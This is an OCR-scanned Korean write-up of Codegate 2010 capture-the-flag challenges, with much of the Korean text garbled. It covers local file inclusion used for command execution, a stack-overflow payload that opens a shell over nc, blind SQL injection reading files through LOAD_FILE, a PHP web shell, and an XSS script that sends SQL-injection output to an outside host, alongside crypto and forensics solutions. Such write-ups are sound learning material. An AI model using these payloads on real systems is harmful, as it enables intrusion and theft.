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{0x01 Problem 01}

beist |ikes drinking.

feel free to give a shot to him when you meet him.

this challenge doesn't need to give many hints to you guys.
just get to http://ctf7.codegate.org/31337/

YOU NEED TO GET A SHELL AND SEE A FILE THAT CONTAINS A FLAG OF THIS
CHALLENGE. GOOD LUCK.

CGIE &4, php includeZ mAS AO{M oIt LHEE 240 U, F= &H LCH
CGI =% -> /proc/loadavg0| CGI PID 7|& -> /proc/pid/environ0j Request 7|E0| Z&

ojzAoR XS 20| & £ ABUCH

— 11—

#!1/usr/bin/python

import urllib
import urllib2

urll = "http://ctf7.codegate.org/31337/index.php?page=../../../..[../../..]../proc/loadavg"

while 1:
req = urllib2.Request(urll)
res = urllib2.urlopen(req)
output = res.read()

res = output.split(" ")
cgi_pid = int(res[4])

req = urllib2.Request("http://ctf7.codegate.org/31337/index.php?page=../../../../../..]..[../proc/"
+ str(cgi_pid) + "/environ&cmd=Is")

res = urllib2.urlopen(req)

output = res.read()

print output
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Accept-Language ko

|zer-figent tozillasd.0 [compatible; MSIE 8.0; wWindows MT 5.1; Trdent/3.0; MET CLR 2.0.507:
Accept-Encoding gzip, deflate

Priosy-Connection <7 apstem($_GET [cmd]); ¥ ddd

Huozt ctf 7 codegate.org

Fragma no-cache

Content-Length 1]




HTTF_ACCEF

lash, appli | p on, applic
ent, application/ wml, application/vnd.
plication/mswore _ACCEFT _LANGITAGE=MI
heer list

http://ctf7.codegate.org/31337/index.php?page=MUST GRAB THIS KEY FILE

Congrats! You can go to the auth page. Was it too easy? 1) FLAG! HOLA_HOLA_DRINKING _MACHIMNE

Prob01 Flag is "HOLA_HOLA_DRINKING_MACHINE"


http://ctf7.codegate.org/31337/index.php?page=MUST_GRAB_THIS_KEY_FILE

{0x02 Problem 03}

credentials: ctf3.codegate.org port 20909

Julianor doesn't understand why block ciphers exist, too complex..

use his super secure message service.

just

FOIT Fa2 YA 20 of2fet 20| HA[XE &1 Hex DumpE FLCt.

Message To:?

asdf

e52f799d 78 88 4c cb
21 e9 fc 9b 6d bl d2 d4
f3 d9 63 49 46 87 86 b8
a96300129c12d5e0
3e 99 2e 81 08 91 f4 65
9e 25 fe el fe 66 f1 57
2f 79 e8 a1 9f 1f 1a 85
f1 06 3f 64 92 8c a3 b7
6e ab fc 4f 64 9c bl 84
ef 34 Ob €9 56 f8 d0 19
9c 32

—

RO A=E of = 21 &
4HM FE AREAZE €F

Message To:?

1

e5 2f 79 cd 01 e6 6e a4
4a df b9 b9 4b d7 b1 dO
d9 98 4a 40 55 d2 e9 93
ea 1c 2b 5d 8f 0c 94 el
72 91 3a 9b 41 a0 a2 2a
bf 22 ce c1 fc 49 da 5b
2d 62 b0 9d bf 63 0b 95
df 37 0f 7b 95 8d b2 aa
75 a5 e6 2c 01 df 96 84
8e 54 2b 8f 29 fc f0

Message To:?

2

e5 2f 79 ce 01 e6 6e a4

4a df b9 b9 4b d7 b1 dO
d9 98 4a 40 55 d2 e9 93
ea 1c 2b 5d 8f 0c 94 el




7291 3a9b 41 a0 a2 2a
bf 22 ce c1 fc 49 da 5b
2d 62 b0 9d bf 63 0b 95
df 37 0f 7b 95 8d b2 aa
75 a5 e6 2c 01 df 96 84
8e 54 2b 8f 29 fc f0

T

10 22 AEKE

i

Y 2= =8 ate SO LS

Message To:?

1

e52f 79 cd 01 e6 6e a4
4a df b9 b9 4b d7 b1 dO
d9 98 4a 40 55 d2 e9 93
ea 1c 2b 5d 8f 0c 94 el
7291 3a9b 41 a0 a2 2a
bf 22 ce c1 fc 49 da 5b
2d 62 b0 9d bf 63 Ob 95
df 37 Of 7b 95 8d b2 aa
75 a5 e6 2c 01 df 96 84
8e 54 2b 8f 29 fc f0

Message To:?

11

e52f79 cd 3a e6 20 85
4e cc eb da 5¢ ¢c5 d7 a0
e5 9552 5¢c 42 8ccf c0
dc 06 2¢ Of c9 06 99 e7
35d8 20 d2 5b c2 8c 29
b3 2a fa dd d6 50 c2 56
3a63feeea2 711589
f3 36 12 78 8c 96 al bf
68 a3 e7 48 01 f8 96 a3
c8 554c 8f 31 e0d4 21

IE71E =& ¢40| 72 2E M Oict 3 #st ot= Aar Y g2 =4 4ol X320
Z0[0of A glo] L¥et Ao| YLt

J2iA OftE et YO Tl E23U0| ChEt ZoW HE AS + AUCD odRASH
[e52f79] | [21E71E& =&et A(YEHU= =5 )] I [YE7IE =& Al

M Y42 1=XH4 B A Brute Forcing i &L Cf
SHA[2H & OFE|O{M A MR ZXIEH O~f77EK] 4SS 2 ULt
0 0 fc

0 1 fd

0 2 fe

0 3 ff

0 4 f8

0 5 f9

0 6 fa

0 7 fb

0 8 f4



ecNeololololololollolleolololeolleolololleolelNeloleoleoleoleoleolleoleleolleolelNelollelloeloelelloeloelololololaelollolelolNolololo ol N

f5

fo
f1
f2
f3
ec
ed
ee

e8
e9
ea
eb
e4
e5
e6
e’
el
el
e2
e3
dc
dd
de
df
ds
do
da
db
d4
d5
deé
dz
do
d1i
d2
d3
cc
cd
ce
cf

c8
c9
ca
cb
c4
c5
c6
c7
c0
cl
c2
c3
bc
bd



ecNeololololololollolleolololeolleolololleolelNeloleoleoleoleoleolleoleleolleolelNelollelloeloelelloeloelololololaelollolelolNolololo ol N

42
43
44
45
46
47
48
49
4a
4b
4c
4d
4e
4f
50
51
52
53
54
55
56
57
58
59
5a
5b
5c
5d
5e
5f
60
61
62
63
64
65
66
67
68
69
6a
6b
6C
6d
6e
6f
70
71
72
73
74
75
76
77
78
79

be
bf
b8
b9
ba
bb
b4
b5
b6
b7
b0
b1l
b2
b3
ac
ad
ae
af
a8
a9
aa
ab
a4
ab
ab
a7
a0
al
a2
a3
9c
9d
9e
of
98
99
9a
9
94
95
96
97
90
91
92
93
8c
8d
8e
8f
88
89
8a
8b
84
85



ecNeololololololollolleolololeolleolololleolelNeloleoleoleoleoleolleoleleolleolelNelollelloeloelelloeloelololololaelollolelolNolololo ol N

7a
7b
7cC
7d
7e
7f
80
81
82
83
84
85
86
87
88
89
8a
8b
8c
8d
8e
8f
90
91
92
93
94
95
96
97
98
99
9a
9
9c
9d
9e
of
a0
al
a2
a3
a4
a5
ab
a7
a8
a9
aa
ab
ac
ad
ae
af
b0
bl

86
87
80
81
82
83
7c
7d
7e
7f
78
79
7a
7b
74
75
76
77
70
71
72
73
6¢C
6d
6e
6f
68
69
6a
6b
64
65
66
67
60
61
62
63
5c
5d
5e
5f
58
59
5a

54
55
56
57
50
51
52
53
4c
4d



ecNeololololololollolleolololeolleolololleolelNeloleoleoleoleoleolleoleleolleolelNelollelloeloelelloeloelololololaelollolelolNolololo ol N

b2
b3
b4
b5
b6
b7
b8
b9
ba
bb
bc
bd
be
bf
c0
cl
c2
c3
c4
c5
c6
c7
c8
c9
ca
cb
cc
cd
ce
cf

do
di
d2
d3
d4
d5
dé
d7
ds8
d9
da
db
dc
dd
de
df
el
el
e2
e3
e4
e5
eb
e’
e8
e9

4e
4f
48
49
43
4b
44
45
46
47
40
41
42
43
3c
3d
3e
3f
38
39
3a
3b
34
35
36
37
30
31
32
33
2C
2d
2e
2f
28
29
2a
2b
24
25
26
27
20
21
22
23
1c
1d
le
1f
18
19
1a
1b
14
15
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—
)]

ea
eb
ec
ed
ee
ef
fo
fl
f2
f3
f4
f5
f6
7
f8
fo
fa
fb
fc
fd
fe
ff

e
WNHHON

OO OO0 OO0 ODO0OO0OO0OODO0OO0OO0ODOOOOCOoOOoO

WNFRONOCULPADTDTOWOWOKL™MTD OO

fa~f70t = 2SS 2H f60A a7t LIgto{OF ot=0 Lt2X| BRpASLICH
at Tab 710]7] ME0| Bl E22 M2 FX| %Lt ot YHWEL| M2|7F =X FUAE A
2ILIC.

Brute Forcing & I PSX|X| e 2t az H3ln LIOX| 22 73b0 g iaLc

2 44
3 65
4 61
5 72
6 20
7 43
8 54
9 46
10 20
11 50
12 6C
13 61
14 79
15 65
16 72
17 2C
18 0

19 59
20 6f
21 75
22 72
23 20
24 66
25 6c
26 61
27 67
28 20

211 -



29 69

30 73
31 3a
32 20
33 42
34 6C
35 6f
36 63
37 6b
38 5f
39 43
40 69
41 70
42 68
43 65
44 72
45 73
46 3d
47 4e
48 53
49 41
50 5f
51 43
52 6f
53 6e
54 73
55 70
56 69
57 72
58 61
59 74
60 69
61 6f
62 6e
63 0

O|AE Ascii AEZ HH
Dear CTF Player, Your flag is: Block_Ciphers=NSA_Conspiration

Prob03 Flag is "Block_Ciphers=NSA_Conspiration”
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{0x03 Problem 04 & 05}

credentials: ctfd.codegate.org port — 9000, 9002, 9004, 9005, 9006 (you
can choose any port)

BINARY FILE: http://ctf.codegate.org/files /easy

credentials: ctf4.codegate.org 9001, 9003, 9007, 9008, 9009 (you can
choose any port)

BINARY FILE: http://ctf.codegate.org/files___ /harder

UBuntuojj M Lt2 =X YULICL RTLE 2HE 2 HSLCH

iable, no debug infox-

s Atops.stols (perl -e 'print AT

Segmentation fault

Payload
[/bin/sh] [NULL] [Dummyx260] [RETx6] [system] [\ n]

(perl —e "print “/bin/shi#x00", "A"x260, “Wx75%x85Wx04#x08"x6, “"Wx20Wxe0Wx20%#x00", “#n"’;cat) |
nc ctf4.codegate.org 9000

hughlicodegate-desk jtop/.3tols (perl -e 'print "/bin/shix00", "A"xZ60 %00, "\n"';cat) | nc ctfd.codegate.org 200

Prob04 flag is “bc15d4ddf6ca486682064ad226a7ff1b”
Prob05 flag is “e2e4cb6adc9cd761dcde774f84529591"

Ps. |2 USIAIH, easyZ M= A aSHA “netstat —nlp” £ M =0, EX| 23t ZETE JUOA
H£5lL| easy=2A| bind shellO|0{ A ER}SL|Ct~

- 13 -



{0x04 Problem 06}

credentials:
http://ctf.codegate.org/thisiswhereiuploadmyfiles/CC2A8BAFA2E 1FAGBD7FEOBSEF
C86BCB7

Substitute for those who are not in Korea :
http://www.mediafire.com/?wyhexdmzzdm

You should convert the flag into lower case letters and try to auth with
it.

Hint: The packet of messenger is important. You don't need to care the ftp
stuff.

Hint2: Please put your flag without any extension to the auth page.

CC2A8B4FA2E1FA6BD7FE9BSEFC86BCB7.gz Lt 20| FO{X|=0

2x2 ET B400CBEA39EA52126E2478E9A951CDESR} 352FCD8BDEC8244CDEDOOCA866CA24B9
2Ol Lb&L|Ch.

1)

=

352FCD8BDEC8244CDEDO0CAB66CA24B90] = Packet Capture7} &l IO
B400CBEA39EA52126E2478E9A951CDESO]| = ntfsItQ A|AEIO| QRi&L|Ct.

hitE B0 TZIZBHOA msnit HOIER2 ZEO =55 =M msnZEZ HAX|E F1 &2

=4 ML HFH F0| lemongt= AMEO|A pdfit@ S StLt EW=0 AAE Y
S EHE T2 8 2M 2 “CC105EE2A139A631175571452968D63770] QAL LICh.
OlAS F=20| Mol UL iologmsg.diligt= Lt2| md5 Hash2fl Ligt&L L.

B400CBEA39EA52126E2478E9A951CDE8O|| UH
CC105EE2A139A631175571452968D6370| A C}.

E

tel =0f iologmsg.datmt&lo] md5 Hash HA|

JE

rir

22 4X|0t iologmsg0| 9157| ALL|LCt.

Prob06 Flag is “iologmsg”

- 14 -




{0x05 Problem 09}

http://ctf8.codegate.org/597d0c8bbd21d9924cde3567258f4e62/ index . php

Level9E2 XM= http://ctf8.codegate.org/597d0c8bbd21d9924cde3567258f4e62/index.php A &
= A= AZH YUCh MZ ¢ AFO|E0| H&SHE otgfet 22 otHE & &+ USFULE No, id,
pPWwE 2

RO 2QS AlESHs AOIEQIH, guestz 21921 & 4 AFLICH

11/

a2l 1. Level9

NoO| 15, id0f guestS, pw(pw : guest)= 7|222 ZFE|0 Us #U2E RIS A= ofH
ofgfier 20| 2102 §& HAIXIE & + USLILCH

a8 2. guest 29 H&
AdminOi| 21918}7| 2/3jA SQL Injection A|E WZELICH 2 AO|EO= 7|2H
H| &350 SQL Injection 40| AFEE X7t e 2X=2 €28 EHE st U
A orgfet Zo| ZEio| E0{7tX| = SQL Injectiong A|E3t0] adminez 2010 H3& %
AASLICL ™oz "1f|1=1'2 2320| 43 = U=, o|ZAH =W guestz2 29I
L|C}.

o> |o

Field Value
No 0&&1=1||(no=2)
Id Admin
Pw text

O O|E{H| O] A XD guest?} adminZ|HO0| SA|0| ZX§stI guest?t no=1, adminO| no=2=&

- 15 -



http://ctf8.codegate.org/597d0c8bbd21d9924cde3567258f4e62/index.php

admin2LCt 2|0 =Xfst7| 20| Th==3| ‘1]|1=1'2t Z0| SQL Injection2 A= AL guestz
Z27010| EL|Ct M2t andEHOE (no=2)8 ZJ}8|F0] adminoz ZIQE 2= U E &Y
EL|CH O] 42 ide} pwe= O{H EX7F tE admin@Z Z11910| EL|Ct

2| &

2l 3. admin219 83
SHA|2F admine 2 ZIQISHH admine| AQYEES LHY = U= HO| LIA ELICh THEkA
O™ ZHO|M no BE&0| Blind SQL InjectionS A|E3}0 admin| DA QIEE oftLf7| |8f Ct
o Z2 AMEE SRS

MY

ojo
mN

Field Value
No 08&8&1=1||(length(pw)=248&8&no=2)
Blind SQL Injection2 SQLZ Sdff &1X}t sl MEE F0 10| st &, AXNCZR ANE =
Sofiti= A22AM O] ZHM0M= =10 Y L admin AJYES SO0{E= HO[X|7F £,
=40l AAY ZL ‘Failure’ HOX|E = = UASLICL W2t ZO|E ZOtL7| M=
'0&&1=1||(length(pw)>10&&no=2)'2t Z FZ|E 0|30 pwo| ZO|7} 10&Ct & A & =
1, OEIZIX|Z ‘length(pw)<30'2 30ECH= ECHe= A
ot OR7ER| 2 =AHE ZEY s2(1 Z0|8M =d2
= € 7 UASUHCL
OlM €Mz AYES substringS O|&SH0] o2 XA WA H|WSH= IHYO0| RS, SH7HX]|
ZH7F ACHH asciiQ2t ord(gt=7t EHY WE0 AHEE =+ QlChs AO|Ch IE0 Hex(&+E

o[ 83t A& Lt

o A A o XL
= € & UASLILE o|F EME dt=
u]

=0 H2E 22T ZO[7f 242t= A

=~

Field Value

No 0&&1=1||(hex(substring(pw,1,1))=0x3732&8&no=2)
XB0l= 'hex(substring(pw,1,1))=72'2} 22 HAoz2 ZHES UHSOM HUE AU
At ZRLURE= HOIH7E AYSUCLL O|lfF= Hexg+UZ0|A=0|, substringez L= =

S mf A B, C D E Fo| 2Xt7} Moj{Qloni 10x22 H@E 0 X2 X2

)
h

=
= SEYULICE MEfA '0x3732'9F 20| EXH(r'2 Hexz 72)0f Lt HEXZtS AT HO
0 Hlug = AGLCL 2AE Hexz Highst 1749 hexgie 2 HjudteE 20| Y=5HX|=
AR, AN AT LA Hot LAoz AESHY admine| IAES =S = U/US

-
o

Value Result
0&&1=1]|(hex(substring(pw,1,1))>0x3630&8&no=2) True
0&&1=1||(hex(substring(pw,1,1))>0x3830&&no=2) False
0&&1=1||(hex(substring(pw,1,1))>0x3731&&no=2) True
0&&1=1||(hex(substring(pw,1,1))>0x3733&&no0=2) False

- 16 -



S| BEQt Z0| AZ=SHH HZXtO| Hexo| HEHM HexZfO| Ox36ECH= 31 O0x38ELCH= %2 A

= 2 7 USHLCL F, x37LYLICL O[H HZAt2| Hexo| FH#M hexE Tot7| 2{df 0x3731,

0x37331} H|Ww3te 0x330|2t= AE € = UPSLLCE 0x3732= EXZE 720|0H, O|AHL2

asciihex)Ol A ‘r'EAE LIEFEL|CE O[ZALt Z2 SE2=2 24749 XS HFCh Fo1H Ozt
]| fe]

(=3
Ze 232 1% 4 ASUCL TRIHYS oHH WE AlZ0| §S T 4+ AAXT oM
So2 BE 2XE H/MS0] ZME AojLHABLCH

Field Value

Admin pw read:/tmp/admin_password

SHX|E @) IHAYEZ A adminQZE 21912 E|X|T &£ K| admin passwordOAl= Q50| g
X| &L|Ch DAY ESl SELHE A H Q| /tmp/admin_passwordE A0 EH {10 A|Z=H&LICEH
SQLOA mAS 47| fIeh 24=7F LOAD_FILE()O| RUELICL O|E O|83t0 2[oAM HE =Y
Zd2 oz meol LE8S Ot =+ JYFLLCL M FAE MX| o7 o oIS
unhexE 0|28l A2 £ Y1, substretp(substring?t SLEHZE pwl| ZZ HEEZ LA

oYs HeEdE JtsELLh

Query
LOAD_FILE(unhex(0x3246373436443730324636313634364436393645354637303631373
337333737364637323634)

LOAD_FILE(substr(pw,6,19))

O[X o|Hof 'pw'E EAUE Ai2[0f f{2b 20| LOAD_FILE(substr(pw,6,19))'E EO0{A Ot2fet Z0|
AME=stEL ot A 182 admine| AQJES ot= aFdnt SetLch Cfgh, ofzte
Ko7 A=A, flofx
D, E RZLL}, O7|Xx

b.c d e flgt= 2 LIC}

T

ZAte| Hexgto| CHet Hexgis AESIRA LD HexzZAts0| tHEZAHA, B, C,

= HIZ Hexgts oHAtZ[% WA ALtofofettt= Ail HexZ A7t &FE Rk a,

—

—_

Field Value

No 08&8&1=1||(length(LOAD_FILE(substr(pw,6,19)))=33&8&mno=2)

No | 0&&1=1||(hex(substring(LOAD_FILE(substr(pw,6,19)),1,1)=0x30)&&no=2)
o ZO|E F¥E W 330 Ligt=0, U4Sof 2™ 32x2[7F Lhg Lt 32k2[e]

=] (o]

— = AN

£ 5 7oty XAtz BEstH orgfet 42 g2 €2 + AL, 0|F 0|8350 2AFI|E s
A A

T =

File Value
/tmp/admin_password | Oda65a3fde3f2b928ff15b629bcdeebf

Probl2 Flag is "b05e4f79ccbc4a71ce9fb28c64896a80"

-17 -



{0x06 Problem 10}

credentials:
http://ctf1.codegate.org/3ea2d867e871fdab011d066758489953/web3. php

oiqst EHE &S1t5t0, administrator2 %510 FlagE =2 S5t= 2 & LICH

Username can not contain administrator.

HtM o 2 administrator2 Z1QI8tH Cr21f 20| &LCt.
J2{Lt administrator AFO|Of %00 HO{FM £At2| 20E & £ QUSL|CL

|zername:|administr200ator

username:adminiatr%pﬂatnr&auhmitzaubmit

Welcome back, administrator! Congratulations! Here is vour flag: One if by land: two if by sealll

Prob10 is “One if by land; two if by sea!l!”

-18 -




{0x07 Problem 11}

credentials: http://ctf6.codegate.org/31337_/index.html

* Get a value of HKLMWSoftwaretcodegate2010, it's the flag.

= /ls2 MSsELCh

47 ALt
o

1
0
rl

M-

OtL|i, ™.php;.jpg” Ol YA = phpht2s R2eiAM =2 =

yy ME

J2{Lf, Web Shell 7|5 & RegistryE 815 = U= 7ls= 2X| Zof, HE Footo 22/ &
Of Ligt&LICh.

<?php
$reg = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
$k = "HKEY_LOCAL_MACHINE\ Software\ codegate2010";
print $reg->regRead($k);

?>

Probl1 Flag is “LollerSkaterz_From_RoflCopters_With_Guinness”

-19 -




{0x08 Problem 12}

credentials:
http://ctf.codegate.org/thisiswhereiuploadmyfiles/51498504E9D8008BF227859C6
79BFB32

Suspects exchange the secret key through their own file. Find the key!

root@StolenByte:~# apt-get install scalpel

. BEF L

root@StolenByte:~# scalpel 514985D4E9D80D8BF227859C679BFB32 -0 /root/out2
Scalpel version 1.60
Written by Golden G. Richard III, based on Foremost 0.69.

Opening target "/root/514985D4E9D80D8BF227859C679BFB32"

Image file pass 1/2.

514985D4E9D80D8BF227859C679BFB32: 100.0%  |*¥*¥xkkxkokxkokx| 847.0 KB 00:00
ETAAllocating work queues...

Work queues allocation complete. Building carve lists...

Carve lists built. Workload:

gif with header "\ x47\ x49\ x46\ x38\ x37\ x61" and footer "\ x00\ x3b" --> O files
gif with header "\ x47\ x49\ x46\ x38\ x39\ x61" and footer "\ x00\ x3b" --> 1 files
jpg with header "\ xff\ xd8\ xff\ xe0\ x00\ x10" and footer "\ xff\ xd9" --> 34 files
png with header "\ x50\ x4e\ x47\ x3f" and footer "\ xff\ xfc\ xfd\ xfe" --> 0 files
bmp with header "\ x42\ x4d\ x3f\ x3f\ x00\ x00\ x00" and footer "" --> 0 files

tif with header "\ x49\ x49\ x2a\ x00" and footer "" --> 6 files

tif with header "\ x4d\ x4d\ x00\ x2a" and footer "" --> 14 files

Carving files from image.

Image file pass 2/2.

514985D4E9D80D8BF227859C679BFB32: 100.0% |¥*¥¥¥dkokxokrkk| 847.0 KB 00:00
ETAProcessing of image file complete. Cleaning up...
Done.

Scalpel is done, files carved = 55, elapsed = 0 seconds.
root@StolenByte:~# cd out2
root@StolenByte:~/out2# |s

audit.txt gif-1-0 jpg-2-0 tif-5-0 tif-6-0
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218 x 48 E4 3254 KB 100% 6/6

Prob12 Flag is "ESR69267"
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{0x09 Problem 13}

ctf3.codegate.org port 32121

MHZ E&S ofF, FTPE2 H=2z 452 gL

2L}, Passwordg}O| SHA-1 HashZ E|0{ R0, A K| Plain Text PasswordE ¢t £=7} Qi&L|Ct.
ol 2X= Zo{alT W 2X0|22, “12345"2 UnHash7} 7ts o SFTPDE CIQRCE wop 24

s Ao

Cmpcase() 42 SHA-1 HashZ H|W$L|C}. 12{L} CmpCase() =2 EX A NULLEA7} E0{7[H &
AHE LT

J2fA “"dfo06ea3fffach05a129223c8e2b7b89b3fef969" O| Hash2ZE2 MM ZE H|wsIX| Zst1, 2|EQlC]
Oto| dzko =2 QISHA| “6ea3”Tt H|mdlA = L|CL d2jM “6ea3”0] EEH =l SHA-1ZS FMSL|CH

require 'digest/shal’
num=1
loop do
shal = Digest:SHAL hexdigest("#{num}")
if shal[4..7]=~/6ea3/
puts shal
puts num
break
end
num+=1
puts num

end

O|ZA ~alA Lt2 gto| "29268" L|LCH.

C:W>nc ctf3.codegate.org 32121
download secrets 29268

Your flag:

PythonIsSoooSlowEvenWithPsyco.class

Prob13 Flag is “"PythonlsSoooSlowEvenWithPsyco.class”
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{0x0A Problem 14}

http://ctf8.codegate.org/823851aa45ee6022e781cf4b15df3c32/ index.php

hint : xss

0] 2Xl= XSS £3 SQL Injectiong 8= Zd L|C}.
XSSE o mO|X|= AA EV|StH HHSHH LitUSL|CH

Attack Code

<sc:ript sr:c="//xxx.com/xss/xss.js"></sc:ript>

XSS.js

var oWinHttpReq = new ActiveXObject ("MsxmI2.XMLHTTP");

oWinHttpReq.Open("GET",
"http://ctf8.codegate.org/823851aa45ee6022e781cf4b15df3c32/admin.php?id=%bf%27|| 1=&pw=%
20UNION SELECT 0x6861636B6572,1,199999999999--%20", false);

oWinHttpReq.Send();

new Image().src="http://thscndgh.ssam.biz/xss/xss.php?xss="+0oWinHttpReq.responseText;

xss.php

<?php
if($_GET[xss])
{

$time = time();

$f = fopen($time, "wt");
fwrite($f, $_GET[xss));
fclose($f);

?>

ChAl 28 =0, M7t 8¢ HSSHA| B2 2AZ FlagE 7otk XS LICH

Prob14 Flag is You know :)
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{0x0B Problem 18}

This data has been acquired from the suspect's disk. Find the hidden key!

http://ctf.codegate.org/thisiswhereiuploadmyfiles/9334A7B726178F014FFB54BCI
8C93BE6

hint : spreadsheet

SIEE H11 9334A7B726178F014FFB54BCO8CO3BE6L 2L Ol A xIs@t xIsx2| A|ALIXHE ZHAH
L|Ct.

3¢ Ho
o> rx

an

a2 PKZ AIRE= xisxdM S FHeb & 5 AASHOL

O|lAS Ao o™ z2[7|,
xI\ charts\ chartl.xml,
xI\ charts\ chart2.xml,
xI\ charts\ chart3.xml

= Mol ot Lh2C

A7l EX R2H0M N 30 oS A =0 242 ot 3712 EAHE 0| AUS LI
Page &P bmx5czFz

Page &P MHItYXQO
Page &P bzB4bTFm

Page &P LC}Z0| 2HX| base64 QAT HH EOA LAY WSLICT
nlysls
Ormat4
o0xm1f

Prob18 Flag is "o0xm1fOrmat4nlysls”
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{0x0C Problem 19}

Found a dead guy on the street, assumed that a guy committed suicide.
How can you assume that? Find the clue.

http://ctf.codegate.org/thisiswhereiuploadmyfiles/56DACF1C6CF363F27501FFCAS
0CC0415

another link for the file:
http://www.mediafire.com/file/y0jjzkfzjul/56DACF1C6CF363F27501FFCAS0CC0415.
Zip

hint : acquired from his phone.

ot e ghop =g Z0{£ M, Windows Mobile H=mtQ 0| L3 L|Ct.
JdefM Hzm ot e 2 W8S o SEgH

=H WES HOET, O o FH0| ZojM XHEUCH OEA FA=A| Lot K.
A 4F e S HAIXS HOPEX|E, EOHE WES =2 & + AU

el
>
=

J2iA EU YADLS HotED A= T, FOAM B2Z A

O
T20A A ot ZAit= “cookies*.dat” LtAC| MYECHE AMEHS

__utmz=
y268455671.1136351268.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=where%?20
€an%20i%20buy%?20potassium%20cyanide

ool 22 AS OfbM FestLigs AS dM4He..
ZOM Fiote] 41 52 X HELh

Prob19 Flag is "where can I buy potassium cyanide”
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